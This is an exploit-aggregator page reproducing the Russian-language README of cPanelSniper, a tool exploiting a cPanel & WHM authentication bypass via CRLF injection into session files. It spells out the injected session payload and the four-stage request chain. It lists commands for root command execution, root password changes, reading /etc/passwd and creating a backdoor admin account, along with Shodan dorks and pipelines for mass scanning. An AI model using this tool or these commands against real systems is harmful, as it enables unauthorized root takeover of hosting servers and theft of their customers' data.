Sploitus

Exploit for cPanelSniper

kitploit · 2026-09-03

Exploit Code

MARKDOWN405 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-ZWANSKI2019-CPANELSNIPER
# cPanelSniper

![cPanelSniper](https://assets.kitploit.com/production/public/readmes/53158/f3362b758ee75e0b6b7fe29318b31700fe9599f38b214316eb69794faae9ba4f/b3a345ee4ef8b692f809057959ed146aa49694446a68b7c5504dee4353eccdb0-display-v1.webp)

![Python](https://img.shields.io/badge/Python-3.8+-blue?style=flat-square&logo=python) ![CVE](https://img.shields.io/badge/CVE--2026--41940-CVSS:10.0-red?style=flat-square) ![cPanel](https://img.shields.io/badge/cPanel%20&%20WHM-Auth%20Bypass-critical?style=flat-square&color=red) ![stdlib](https://img.shields.io/badge/stdlib%20only-no%20pip-green?style=flat-square) ![pipeline](https://img.shields.io/badge/pipeline-ready-blue?style=flat-square) ![Author](https://img.shields.io/badge/Author-@ynsmroztas-orange?style=flat-square&logo=twitter)

**CVE-2026-41940 — Обход аутентификации cPanel & WHM через CRLF-инъекцию в файл сессии**  
Цепочка эксплойта из 4 этапов · Интерактивная WHM-оболочка · Массовый сканер · Готовность к пайплайнам · Только stdlib 

* * *

## Обзор

**cPanelSniper** — это специализированный фреймворк для эксплуатации **CVE-2026-41940** , критической уязвимости обхода аутентификации, затрагивающей cPanel & WHM. Уязвимость позволяет неаутентифицированным удалённым злоумышленникам получить root-доступ к WHM путём инъекции CRLF-последовательностей в файл сессии через HTTP-заголовок `Authorization` — без каких-либо действительных учётных данных.

  * **Оценка CVSS:** 10.0 (критическая)
  * **Эксплуатация в дикой природе:** подтверждена (апрель 2026)
  * **Затронутые установки:** ~70 миллионов доменов, работающих на cPanel & WHM
  * **Без зависимостей:** чистый Python stdlib — без pip, без requests, без внешних пакетов



> **Только для авторизованного тестирования на проникновение и программ bug bounty.**

* * *

## Как это работает

Корневая причина находится в `Session.pm`: функция `saveSession()` вызывает `filter_sessiondata()` **после** записи файла сессии на диск. Это означает, что CRLF-символы, встроенные в значение заголовка `Authorization: Basic`, записываются в файл сессии без изменений, внедряя управляемые злоумышленником поля до проведения санитизации.

root@kitploit:~
    
    
    Нормальный поток:
      POST /login/ → filter_sessiondata() → запись сессии → проверка аутентификации
    
    Уязвимый поток:
      POST /login/ → запись сессии (внедрена CRLF-нагрузка) → filter_sessiondata() → проверка аутентификации читает отравленный файл
    

### CRLF-нагрузка

Значение `Authorization: Basic` декодируется в:

root@kitploit:~
    
    
    root:x
    successful_internal_auth_with_timestamp=9999999999
    user=root
    tfa_verified=1
    hasroot=1
    

Эти поля записываются непосредственно в файл сессии на диске. При обратном чтении cPanel рассматривает сессию как полностью аутентифицированную root-сессию.

### Цепочка эксплойта из 4 этапов

root@kitploit:~
    
    
    ┌─────────────────────────────────────────────────────────────┐
    │  Этап 0 — Обнаружение канонического имени хоста             │
    │  GET /openid_connect/cpanelid → 307 → реальное имя хоста    │
    ├─────────────────────────────────────────────────────────────┤
    │  Этап 1 — Создание preauth-сессии                           │
    │  POST /login/?login_only=1  (неверные учётные данные)       │
    │  ← 401 + cookie whostmgrsession                             │
    ├─────────────────────────────────────────────────────────────┤
    │  Этап 2 — CRLF-инъекция                                     │
    │  GET / + Cookie: session + Authorization: Basic <нагрузка>  │
    │  cpsrvd записывает CRLF-поля в файл сессии                  │
    │  ← 307 Location: /cpsessXXXXXXXXXX/...                     │
    ├─────────────────────────────────────────────────────────────┤
    │  Этап 3 — Распространение (гаджет do_token_denied)          │
    │  GET /scripts2/listaccts                                    │
    │  Запускает сброс raw→cache — внедрённые поля активируются   │
    │  ← 401 Token denied (ожидаемо)                              │
    ├─────────────────────────────────────────────────────────────┤
    │  Этап 4 — Проверка root-доступа к WHM                       │
    │  GET /cpsessXXXXXXXXXX/json-api/version                     │
    │  ← 200 {"version":"11.x.x.x","result":1}  = ВЗЛОМАН        │
    └─────────────────────────────────────────────────────────────┘
    

* * *

## Затронутые версии

* * *

## Установка

root@kitploit:~
    
    
    git clone https://github.com/ynsmroztas/cPanelSniper
    cd cPanelSniper
    python3 cPanelSniper.py --help
    

Установка через pip не требуется. Только чистый Python 3.8+ stdlib.

* * *

## Использование

### Базовое сканирование

root@kitploit:~
    
    
    # Одиночная цель — только сканирование
    python3 cPanelSniper.py -u https://target.com:2087
    
    # Одиночная цель — интерактивная оболочка после обхода
    python3 cPanelSniper.py -u https://target.com:2087 --action shell
    
    # Массовое сканирование из файла
    python3 cPanelSniper.py -l targets.txt -t 20 -o results.json
    
    # Принудительное сканирование (пропустить обнаружение cPanel)
    python3 cPanelSniper.py -u https://target.com:2087 --force
    

### Действия после эксплуатации

root@kitploit:~
    
    
    # Список всех учётных записей cPanel на сервере
    python3 cPanelSniper.py -u https://target.com:2087 --action list
    
    # Выполнение OS-команды
    python3 cPanelSniper.py -u https://target.com:2087 --action cmd --cmd "id;whoami;uname -a"
    python3 cPanelSniper.py -u https://target.com:2087 --action cmd --cmd "ls /home"
    python3 cPanelSniper.py -u https://target.com:2087 --action cmd --cmd "cat /etc/passwd"
    
    # Получение информации о сервере (имя хоста, нагрузка, диск, MySQL-хост)
    python3 cPanelSniper.py -u https://target.com:2087 --action info
    
    # Получение версии cPanel
    python3 cPanelSniper.py -u https://target.com:2087 --action version
    
    # Смена root-пароля
    python3 cPanelSniper.py -u https://target.com:2087 --action passwd --passwd 'NewPass@2026!'
    
    # Интерактивная WHM-оболочка
    python3 cPanelSniper.py -u https://target.com:2087 --action shell
    

### Пайплайны

root@kitploit:~
    
    
    # subfinder → httpx → cPanelSniper
    subfinder -d target.com -silent | \
      httpx -silent -ports 2087,2086 -threads 50 | \
      python3 cPanelSniper.py -t 30 -o results.json
    
    # Из списка scope
    cat scope.txt | \
      httpx -silent -ports 2087,2086 -threads 100 | \
      python3 cPanelSniper.py -t 30 -o results.json
    
    # Результаты Shodan
    shodan search --fields ip_str,port 'title:"WHM Login"' | \
      awk '{print "https://"$1":"$2}' | \
      python3 cPanelSniper.py -t 30 -o shodan_results.json
    
    # Пайп из stdin
    echo "https://target.com:2087" | python3 cPanelSniper.py
    
    # Комбинация нескольких источников
    { subfinder -d target.com -silent; cat extra.txt; } | \
      httpx -silent -ports 2087 | \
      python3 cPanelSniper.py -t 20 --action list
    

* * *

## Интерактивная WHM-оболочка

После успешного обхода флаг `--action shell` открывает интерактивное приглашение:

root@kitploit:~
    
    
    ════════════════════════════════════════════════════════════
      WHM Shell — target.com
      Версия: CVE-2026-41940 | Auth: CRLF bypass
      Введите 'help' для списка команд, 'exit' для выхода
    ════════════════════════════════════════════════════════════
    
    some-email@example.com ▶ id
      uid=0(root) gid=0(root) groups=0(root)
    
    some-email@example.com ▶ accounts
      [cPanel Accounts]  target.com:2087 (47 пользователей)
        user01               domain: example.com    email: some-email@example.com
        user02               domain: shop.com       email: some-email@example.com
        ...
    
    some-email@example.com ▶ cat /etc/passwd
      root:x:0:0:root:/root:/bin/bash
      daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
      ...
    
    some-email@example.com ▶ info
      [Server Info]  https://target.com:2087
      hostname: srv01.target.com
      load: 0.72 / 0.66 / 0.69
      version: 11.130.0.6
    
    some-email@example.com ▶ addadmin mitsec P@ss2026!
      [BACKDOOR ADMIN CREATED]
      Target   : https://target.com:2087
      Username : mitsec
      Password : P@ss2026!
      Profile  : super_admin
    
    some-email@example.com ▶ exit
    

### Команды оболочки

* * *

## Справочник CLI

root@kitploit:~
    
    
    usage: cPanelSniper.py [-h] [-u URL] [-l LIST] [--hostname HOSTNAME]
                           [-t THREADS] [--timeout TIMEOUT] [--rate-limit N]
                           [--action ACTION] [--passwd PASS] [--cmd CMD]
                           [--new-user USER] [--new-domain DOMAIN]
                           [-o OUTPUT] [--no-color]
    
    Цель:
      -u, --url URL          URL одиночной цели (например, https://host:2087)
      -l, --list LIST        Файл с URL (по одному на строку)
      --hostname HOSTNAME    Переопределить канонический Host-заголовок (автообнаружение)
    
    Сканирование:
      -t, --threads N        Параллельные потоки (по умолчанию: 10)
      --timeout N            Таймаут запроса в секундах (по умолчанию: 15)
      --rate-limit N         Задержка между целями (по умолчанию: 0)
      --force                Пропустить проверку обнаружения cPanel
    
    Пост-эксплуатация:
      --action ACTION        Действие: list | passwd | cmd | exec | info |
                                     version | shell | adduser
      --passwd PASS          Новый root-пароль (--action passwd)
      --cmd CMD              OS-команда (--action cmd/exec)
      --new-user USER        Новое имя пользователя cPanel (--action adduser)
      --new-domain DOMAIN    Новый домен cPanel (--action adduser)
    
    Вывод:
      -o, --output FILE      Сохранить результаты в JSON-файл
      --no-color             Отключить ANSI-цвета
    

* * *

## Shodan-дорки

root@kitploit:~
    
    
    title:"WHM Login"
    title:"WebHost Manager" port:2087
    product:"cPanel" port:2087
    http.title:"cPanel" port:2083
    ssl.cert.subject.cn:"cPanel" port:2087
    

* * *

## Пример вывода

root@kitploit:~
    
    
       ██████╗██████╗  █████╗ ███╗  ██╗███████╗██╗
      ██╔════╝██╔══██╗██╔══██╗████╗ ██║██╔════╝██║
      ...
    
      CVE-2026-41940 — Обход аутентификации cPanel & WHM через CRLF-инъекцию
      4 этапа: preauth → CRLF-инъекция → распространение → проверка → пост-эксплуатация
      In-The-Wild | CVSS 10.0 | Автор: Mitsec (@ynsmroztas)
    
      Конфигурация:
       Целей   : 1
       Потоков : 10
       Таймаут : 15s
       Действие: list
    
    14:46:22 [SCAN] Запуск цепочки эксплойта из 4 этапов... https://target.com:2087
    14:46:23 [INFO] Обнаружено каноническое имя хоста: srv01.target.com
    14:46:23 [STEP] Этап 1/4 — Создание preauth-сессии...
    14:46:23 [  OK] Этап1: preauth-сессия = :QFB4o8XENBqlr6U1...
    14:46:23 [STEP] Этап 2/4 — CRLF-инъекция через заголовок Authorization...
    14:46:24 [  OK] Этап2: HTTP 307 → token=/cpsess8493537756
    14:46:24 [STEP] Этап 3/4 — Запуск гаджета do_token_denied (raw→cache)...
    14:46:25 [  OK] Этап3: HTTP 401 — гаджет do_token_denied сработал
    14:46:25 [STEP] Этап 4/4 — Проверка root-доступа к WHM...
    14:46:26 [PWND] CVE-2026-41940 ПОДТВЕРЖДЕНА — root-доступ к WHM!
    14:46:26 [PWND]   Token    : /cpsess8493537756
    14:46:26 [PWND]   Версия   : 11.130.0.6
    14:46:26 [PWND]   API URL  : https://target.com:2087/cpsess8493537756/json-api/version
    14:46:26 [ API] Выполнение пост-эксплуатационного действия: list
    14:46:27 [ API] listaccts → HTTP 200
    
      [cPanel Accounts]  target.com:2087 (47 учётных записей)
        client01    domain: client01.com    email: some-email@example.com
        client02    domain: client02.net    email: some-email@example.com
        ...
    
    ══════════════════════════════════════════════════════════════════════
      cPanelSniper — Сканирование завершено
      Время: 5.8s  ·  Целей: 1
    
      ⚡ 1 УЯЗВИМАЯ ЦЕЛЬ(И)
    
      Target   : https://target.com:2087
      Версия   : 11.130.0.6
      Token    : /cpsess8493537756
      API URL  : https://target.com:2087/cpsess8493537756/json-api/version
    ══════════════════════════════════════════════════════════════════════
    

* * *

## Технические детали

### Инъекция в файл сессии

Внедрённое значение `Authorization: Basic` (декодированное из base64) содержит CRLF-последовательности, которые становятся переводами строк в файле сессии cPanel:

root@kitploit:~
    
    
    root:x\r\n
    successful_internal_auth_with_timestamp=9999999999\r\n
    user=root\r\n
    tfa_verified=1\r\n
    hasroot=1
    

Читатель сессий cPanel интерпретирует их как легитимные поля сессии, предоставляя полный root-доступ к WHM.

### Этап 3 — Гаджет do_token_denied

Критический и часто упускаемый из виду шаг: после CRLF-инъекции (Этап 2) отравленные данные сессии существуют только в **сыром файле сессии**. Запрос к `/scripts2/listaccts` запускает внутренний обработчик `do_token_denied`, который сбрасывает сырые данные сессии в **кэш** сессии. Без этого сброса Этап 4 вернул бы 403.

### Извлечение токена сессии

root@kitploit:~
    
    
    Set-Cookie: whostmgrsession=%3aSESSION_NAME%2cOB_HEX; ...
                                  ^              ^
                                  |              +-- ob-хэш (удаляется)
                                  +-- имя сессии (используется для инъекции)
    

Имя сессии (до `%2C`) извлекается и используется как значение cookie для последующих запросов.

* * *

## Ссылки

  * watchTowr Labs — Технический анализ CVE-2026-41940
  * Консультация по безопасности cPanel
  * NVD — CVE-2026-41940
  * Блог Hadrian — Анализ CVE-2026-41940
  * Шаблон Nuclei — CVE-2026-41940



* * *

## Отказ от ответственности

> Этот инструмент предназначен **только для авторизованного тестирования безопасности** и **программ bug bounty**. Несанкционированный доступ к компьютерным системам является незаконным. Автор не несёт ответственности и не отвечает за любое неправомерное использование или ущерб, причинённый этим инструментом. Всегда получайте надлежащее письменное разрешение перед тестированием.

* * *

## Автор

**Mitsec** — @ynsmroztas

  * 🏆 Топ-хакер — Intigriti
  * 🐛 Раскрыто 2 430+ уязвимостей
  * 💀 1 100+ критических находок P1
  * 🏅 100+ упоминаний в Hall of Fame



* * *

Сделано с ❤️ автором @ynsmroztas